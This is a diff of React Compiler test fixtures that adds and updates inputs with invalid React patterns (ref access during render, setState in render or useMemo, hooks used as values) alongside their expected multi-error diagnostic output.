+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-during-render.expect.md
@@ -15,15 +15,32 @@ function Component(props) {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-set-and-read-ref-during-render.ts:4:2
   2 | function Component(props) {
   3 |   const ref = useRef(null);
 > 4 |   ref.current = props.value;
-    |   ^^^^^^^^^^^ InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef) (4:4)
-
-InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef). Cannot access ref value at freeze $24:TObject<BuiltInRefValue> (5:5)
+    |   ^^^^^^^^^^^ Cannot update ref during render
   5 |   return ref.current;
   6 | }
   7 |
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-set-and-read-ref-during-render.ts:5:9
+  3 |   const ref = useRef(null);
+  4 |   ref.current = props.value;
+> 5 |   return ref.current;
+    |          ^^^^^^^^^^^ Cannot access ref value during render
+  6 | }
+  7 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-nested-property-during-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-nested-property-during-render.expect.md
index 4d8cb2ae7c41..8ef0e223a869 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-nested-property-during-render.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-nested-property-during-render.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 // @validateRefAccessDuringRender
 function Component(props) {
-  const ref = useRef({ inner: null });
+  const ref = useRef({inner: null});
   ref.current.inner = props.value;
   return ref.current.inner;
 }
@@ -15,15 +15,32 @@ function Component(props) {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-set-and-read-ref-nested-property-during-render.ts:4:2
   2 | function Component(props) {
-  3 |   const ref = useRef({ inner: null });
+  3 |   const ref = useRef({inner: null});
 > 4 |   ref.current.inner = props.value;
-    |   ^^^^^^^^^^^^^^^^^ InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef) (4:4)
-
-InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef). Cannot access ref value at freeze $30:TObject<BuiltInRefValue> (5:5)
+    |   ^^^^^^^^^^^ Cannot update ref during render
   5 |   return ref.current.inner;
   6 | }
   7 |
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-set-and-read-ref-nested-property-during-render.ts:5:9
+  3 |   const ref = useRef({inner: null});
+  4 |   ref.current.inner = props.value;
+> 5 |   return ref.current.inner;
+    |          ^^^^^^^^^^^^^^^^^ Cannot access ref value during render
+  6 | }
+  7 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-nested-property-during-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-nested-property-during-render.js
index 6e527c46d3b1..dea3a0e50f3e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-nested-property-during-render.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-nested-property-during-render.js
@@ -1,6 +1,6 @@
 // @validateRefAccessDuringRender
 function Component(props) {
-  const ref = useRef({ inner: null });
+  const ref = useRef({inner: null});
   ref.current.inner = props.value;
   return ref.current.inner;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-render-unbound-state.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-render-unbound-state.expect.md
new file mode 100644
index 000000000000..43ae7d0ec2db
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-render-unbound-state.expect.md
@@ -0,0 +1,43 @@
+
+## Input
+
+```javascript
+function Component(props) {
+  // Intentionally don't bind state, this repros a bug where we didn't
+  // infer the type of destructured properties after a hole in the array
+  let [, setState] = useState();
+  setState(1);
+  return props.foo;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
+* To derive data from other state/props, compute the derived data during render without using state.
+
+error.invalid-setState-in-render-unbound-state.ts:5:2
+  3 |   // infer the type of destructured properties after a hole in the array
+  4 |   let [, setState] = useState();
+> 5 |   setState(1);
+    |   ^^^^^^^^ Found setState() in render
+  6 |   return props.foo;
+  7 | }
+  8 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-render-unbound-state.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-render-unbound-state.js
new file mode 100644
index 000000000000..58e2837692a1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-render-unbound-state.js
@@ -0,0 +1,13 @@
+function Component(props) {
+  // Intentionally don't bind state, this repros a bug where we didn't
+  // infer the type of destructured properties after a hole in the array
+  let [, setState] = useState();
+  setState(1);
+  return props.foo;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo-indirect-useCallback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo-indirect-useCallback.expect.md
new file mode 100644
index 000000000000..b245c5324f3f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo-indirect-useCallback.expect.md
@@ -0,0 +1,100 @@
+
+## Input
+
+```javascript
+import {useCallback} from 'react';
+
+function useKeyedState({key, init}) {
+  const [prevKey, setPrevKey] = useState(key);
+  const [state, setState] = useState(init);
+
+  const fn = useCallback(() => {
+    setPrevKey(key);
+    setState(init);
+  });
+
+  useMemo(() => {
+    fn();
+  }, [key, init]);
+
+  return state;
+}
+
+```
+
+
+## Error
+
+```
+Found 3 errors:
+
+Error: Calling setState from useMemo may trigger an infinite loop
+
+Each time the memo callback is evaluated it will change state. This can cause a memoization dependency to change, running the memo function again and causing an infinite loop. Instead of setting state in useMemo(), prefer deriving the value during render. (https://react.dev/reference/react/useState).
+
+error.invalid-setState-in-useMemo-indirect-useCallback.ts:13:4
+  11 |
+  12 |   useMemo(() => {
+> 13 |     fn();
+     |     ^^ Found setState() within useMemo()
+  14 |   }, [key, init]);
+  15 |
+  16 |   return state;
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+error.invalid-setState-in-useMemo-indirect-useCallback.ts:9:13
+   7 |   const fn = useCallback(() => {
+   8 |     setPrevKey(key);
+>  9 |     setState(init);
+     |              ^^^^ Missing dependency `init`
+  10 |   });
+  11 |
+  12 |   useMemo(() => {
+
+error.invalid-setState-in-useMemo-indirect-useCallback.ts:8:15
+   6 |
+   7 |   const fn = useCallback(() => {
+>  8 |     setPrevKey(key);
+     |                ^^^ Missing dependency `key`
+   9 |     setState(init);
+  10 |   });
+  11 |
+
+Error: Found missing/extra memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI. Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.
+
+error.invalid-setState-in-useMemo-indirect-useCallback.ts:13:4
+  11 |
+  12 |   useMemo(() => {
+> 13 |     fn();
+     |     ^^ Missing dependency `fn`
+  14 |   }, [key, init]);
+  15 |
+  16 |   return state;
+
+error.invalid-setState-in-useMemo-indirect-useCallback.ts:14:6
+  12 |   useMemo(() => {
+  13 |     fn();
+> 14 |   }, [key, init]);
+     |       ^^^ Unnecessary dependency `key`
+  15 |
+  16 |   return state;
+  17 | }
+
+error.invalid-setState-in-useMemo-indirect-useCallback.ts:14:11
+  12 |   useMemo(() => {
+  13 |     fn();
+> 14 |   }, [key, init]);
+     |            ^^^^ Unnecessary dependency `init`
+  15 |
+  16 |   return state;
+  17 | }
+
+Inferred dependencies: `[fn]`
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo-indirect-useCallback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo-indirect-useCallback.js
new file mode 100644
index 000000000000..dbdf5f5a4da3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo-indirect-useCallback.js
@@ -0,0 +1,17 @@
+import {useCallback} from 'react';
+
+function useKeyedState({key, init}) {
+  const [prevKey, setPrevKey] = useState(key);
+  const [state, setState] = useState(init);
+
+  const fn = useCallback(() => {
+    setPrevKey(key);
+    setState(init);
+  });
+
+  useMemo(() => {
+    fn();
+  }, [key, init]);
+
+  return state;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo.expect.md
new file mode 100644
index 000000000000..04d82e429f86
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo.expect.md
@@ -0,0 +1,52 @@
+
+## Input
+
+```javascript
+function useKeyedState({key, init}) {
+  const [prevKey, setPrevKey] = useState(key);
+  const [state, setState] = useState(init);
+
+  useMemo(() => {
+    setPrevKey(key);
+    setState(init);
+  }, [key, init]);
+
+  return state;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Calling setState from useMemo may trigger an infinite loop
+
+Each time the memo callback is evaluated it will change state. This can cause a memoization dependency to change, running the memo function again and causing an infinite loop. Instead of setting state in useMemo(), prefer deriving the value during render. (https://react.dev/reference/react/useState).
+
+error.invalid-setState-in-useMemo.ts:6:4
+  4 |
+  5 |   useMemo(() => {
+> 6 |     setPrevKey(key);
+    |     ^^^^^^^^^^ Found setState() within useMemo()
+  7 |     setState(init);
+  8 |   }, [key, init]);
+  9 |
+
+Error: Calling setState from useMemo may trigger an infinite loop
+
+Each time the memo callback is evaluated it will change state. This can cause a memoization dependency to change, running the memo function again and causing an infinite loop. Instead of setting state in useMemo(), prefer deriving the value during render. (https://react.dev/reference/react/useState).
+
+error.invalid-setState-in-useMemo.ts:7:4
+   5 |   useMemo(() => {
+   6 |     setPrevKey(key);
+>  7 |     setState(init);
+     |     ^^^^^^^^ Found setState() within useMemo()
+   8 |   }, [key, init]);
+   9 |
+  10 |   return state;
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo.js
new file mode 100644
index 000000000000..ebbb6b2d14bf
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo.js
@@ -0,0 +1,11 @@
+function useKeyedState({key, init}) {
+  const [prevKey, setPrevKey] = useState(key);
+  const [state, setState] = useState(init);
+
+  useMemo(() => {
+    setPrevKey(key);
+    setState(init);
+  }, [key, init]);
+
+  return state;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setstate-unconditional-with-keyed-state.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setstate-unconditional-with-keyed-state.expect.md
new file mode 100644
index 000000000000..7caed105de98
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setstate-unconditional-with-keyed-state.expect.md
@@ -0,0 +1,44 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInRender @enableUseKeyedState
+import {useState} from 'react';
+
+function Component() {
+  const [total, setTotal] = useState(0);
+  setTotal(42);
+  return total;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  isComponent: true,
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, use `const [state, setState] = useKeyedState(initialState, key)` to reset `state` when `key` changes.
+* To derive data from other state/props, compute the derived data during render without using state.
+
+error.invalid-setstate-unconditional-with-keyed-state.ts:6:2
+  4 | function Component() {
+  5 |   const [total, setTotal] = useState(0);
+> 6 |   setTotal(42);
+    |   ^^^^^^^^ Found setState() in render
+  7 |   return total;
+  8 | }
+  9 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setstate-unconditional-with-keyed-state.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setstate-unconditional-with-keyed-state.js
new file mode 100644
index 000000000000..46393b5ef821
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setstate-unconditional-with-keyed-state.js
@@ -0,0 +1,14 @@
+// @validateNoSetStateInRender @enableUseKeyedState
+import {useState} from 'react';
+
+function Component() {
+  const [total, setTotal] = useState(0);
+  setTotal(42);
+  return total;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  isComponent: true,
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-sketchy-code-use-forget.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-sketchy-code-use-forget.expect.md
index ec17f5c994f7..c41500965080 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-sketchy-code-use-forget.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-sketchy-code-use-forget.expect.md
@@ -2,9 +2,10 @@
 ## Input
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 /* eslint-disable react-hooks/rules-of-hooks */
 function lowercasecomponent() {
-  "use forget";
+  'use forget';
   const x = [];
   // eslint-disable-next-line react-hooks/rules-of-hooks
   return <div>{x}</div>;
@@ -17,13 +18,32 @@ function lowercasecomponent() {
 ## Error
 
 ```
-> 1 | /* eslint-disable react-hooks/rules-of-hooks */
-    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled. React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. eslint-disable react-hooks/rules-of-hooks (1:1)
+Found 2 errors:
 
-InvalidReact: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled. React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. eslint-disable-next-line react-hooks/rules-of-hooks (5:5)
-  2 | function lowercasecomponent() {
-  3 |   "use forget";
-  4 |   const x = [];
+Error: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled
+
+React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression `eslint-disable react-hooks/rules-of-hooks`.
+
+error.invalid-sketchy-code-use-forget.ts:2:0
+  1 | // @validateExhaustiveMemoizationDependencies:false
+> 2 | /* eslint-disable react-hooks/rules-of-hooks */
+    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Found React rule suppression
+  3 | function lowercasecomponent() {
+  4 |   'use forget';
+  5 |   const x = [];
+
+Error: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled
+
+React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression `eslint-disable-next-line react-hooks/rules-of-hooks`.
+
+error.invalid-sketchy-code-use-forget.ts:6:2
+  4 |   'use forget';
+  5 |   const x = [];
+> 6 |   // eslint-disable-next-line react-hooks/rules-of-hooks
+    |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Found React rule suppression
+  7 |   return <div>{x}</div>;
+  8 | }
+  9 | /* eslint-enable react-hooks/rules-of-hooks */
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-sketchy-code-use-forget.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-sketchy-code-use-forget.js
index 241f1431b547..682c81191109 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-sketchy-code-use-forget.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-sketchy-code-use-forget.js
@@ -1,6 +1,7 @@
+// @validateExhaustiveMemoizationDependencies:false
 /* eslint-disable react-hooks/rules-of-hooks */
 function lowercasecomponent() {
-  "use forget";
+  'use forget';
   const x = [];
   // eslint-disable-next-line react-hooks/rules-of-hooks
   return <div>{x}</div>;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ternary-with-hook-values.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ternary-with-hook-values.expect.md
index 2e5d24e3a8a8..1f3682bb9066 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ternary-with-hook-values.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ternary-with-hook-values.expect.md
@@ -13,18 +13,47 @@ function Component(props) {
 ## Error
 
 ```
+Found 4 errors:
+
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.invalid-ternary-with-hook-values.ts:2:25
   1 | function Component(props) {
 > 2 |   const x = props.cond ? useA : useB;
-    |                          ^^^^ InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (2:2)
+    |                          ^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+  3 |   return x();
+  4 | }
+  5 |
 
-InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (2:2)
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.invalid-ternary-with-hook-values.ts:2:32
+  1 | function Component(props) {
+> 2 |   const x = props.cond ? useA : useB;
+    |                                 ^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+  3 |   return x();
+  4 | }
+  5 |
 
-InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (2:2)
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
 
-InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (3:3)
+error.invalid-ternary-with-hook-values.ts:2:12
+  1 | function Component(props) {
+> 2 |   const x = props.cond ? useA : useB;
+    |             ^^^^^^^^^^^^^^^^^^^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
   3 |   return x();
   4 | }
   5 |
+
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.invalid-ternary-with-hook-values.ts:3:9
+  1 | function Component(props) {
+  2 |   const x = props.cond ? useA : useB;
+> 3 |   return x();
+    |          ^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+  4 | }
+  5 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook-namespace.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook-namespace.expect.md
new file mode 100644
index 000000000000..3359db541a5d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook-namespace.expect.md
@@ -0,0 +1,32 @@
+
+## Input
+
+```javascript
+import ReactCompilerTest from 'ReactCompilerTest';
+
+function Component() {
+  return ReactCompilerTest.useHookNotTypedAsHook();
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Invalid type configuration for module
+
+Expected type for object property 'useHookNotTypedAsHook' from module 'ReactCompilerTest' to be a hook based on the property name.
+
+error.invalid-type-provider-hook-name-not-typed-as-hook-namespace.ts:4:9
+  2 |
+  3 | function Component() {
+> 4 |   return ReactCompilerTest.useHookNotTypedAsHook();
+    |          ^^^^^^^^^^^^^^^^^ Invalid type configuration for module
+  5 | }
+  6 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook-namespace.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook-namespace.js
new file mode 100644
index 000000000000..3a2f646569e1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook-namespace.js
@@ -0,0 +1,5 @@
+import ReactCompilerTest from 'ReactCompilerTest';
+
+function Component() {
+  return ReactCompilerTest.useHookNotTypedAsHook();
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook.expect.md
new file mode 100644
index 000000000000..136d19d122e0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook.expect.md
@@ -0,0 +1,32 @@
+
+## Input
+
+```javascript
+import {useHookNotTypedAsHook} from 'ReactCompilerTest';
+
+function Component() {
+  return useHookNotTypedAsHook();
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Invalid type configuration for module
+
+Expected type for object property 'useHookNotTypedAsHook' from module 'ReactCompilerTest' to be a hook based on the property name.
+
+error.invalid-type-provider-hook-name-not-typed-as-hook.ts:4:9
+  2 |
+  3 | function Component() {
+> 4 |   return useHookNotTypedAsHook();
+    |          ^^^^^^^^^^^^^^^^^^^^^ Invalid type configuration for module
+  5 | }
+  6 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook.js
new file mode 100644
index 000000000000..d4ae58c5d950
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook.js
@@ -0,0 +1,5 @@
+import {useHookNotTypedAsHook} from 'ReactCompilerTest';
+
+function Component() {
+  return useHookNotTypedAsHook();
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hooklike-module-default-not-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hooklike-module-default-not-hook.expect.md
new file mode 100644
index 000000000000..4e9cd1847477
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hooklike-module-default-not-hook.expect.md
@@ -0,0 +1,32 @@
+
+## Input
+
+```javascript
+import foo from 'useDefaultExportNotTypedAsHook';
+
+function Component() {
+  return <div>{foo()}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Invalid type configuration for module
+
+Expected type for `import ... from 'useDefaultExportNotTypedAsHook'` to be a hook based on the module name.
+
+error.invalid-type-provider-hooklike-module-default-not-hook.ts:4:15
+  2 |
+  3 | function Component() {
+> 4 |   return <div>{foo()}</div>;
+    |                ^^^ Invalid type configuration for module
+  5 | }
+  6 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hooklike-module-default-not-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hooklike-module-default-not-hook.js
new file mode 100644
index 000000000000..75d040fde079
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hooklike-module-default-not-hook.js
@@ -0,0 +1,5 @@
+import foo from 'useDefaultExportNotTypedAsHook';
+
+function Component() {
+  return <div>{foo()}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-nonhook-name-typed-as-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-nonhook-name-typed-as-hook.expect.md
new file mode 100644
index 000000000000..182f9a64a163
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-nonhook-name-typed-as-hook.expect.md
@@ -0,0 +1,32 @@
+
+## Input
+
+```javascript
+import {notAhookTypedAsHook} from 'ReactCompilerTest';
+
+function Component() {
+  return <div>{notAhookTypedAsHook()}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Invalid type configuration for module
+
+Expected type for object property 'useHookNotTypedAsHook' from module 'ReactCompilerTest' to be a hook based on the property name.
+
+error.invalid-type-provider-nonhook-name-typed-as-hook.ts:4:15
+  2 |
+  3 | function Component() {
+> 4 |   return <div>{notAhookTypedAsHook()}</div>;
+    |                ^^^^^^^^^^^^^^^^^^^ Invalid type configuration for module
+  5 | }
+  6 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-nonhook-name-typed-as-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-nonhook-name-typed-as-hook.js
new file mode 100644
index 000000000000..3763bed79c6b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-nonhook-name-typed-as-hook.js
@@ -0,0 +1,5 @@
+import {notAhookTypedAsHook} from 'ReactCompilerTest';
+
+function Component() {
+  return <div>{notAhookTypedAsHook()}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-uncalled-function-capturing-mutable-values-memoizes-with-captures-values.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-uncalled-function-capturing-mutable-values-memoizes-with-captures-values.expect.md
new file mode 100644
index 000000000000..250114fdfb39
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-uncalled-function-capturing-mutable-values-memoizes-with-captures-values.expect.md
@@ -0,0 +1,82 @@
+
+## Input
+
+```javascript
+// @flow @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false
+/**
+ * This hook returns a function that when called with an input object,
+ * will return the result of mapping that input with the supplied map
+ * function. Results are cached, so if the same input is passed again,
+ * the same output object will be returned.
+ *
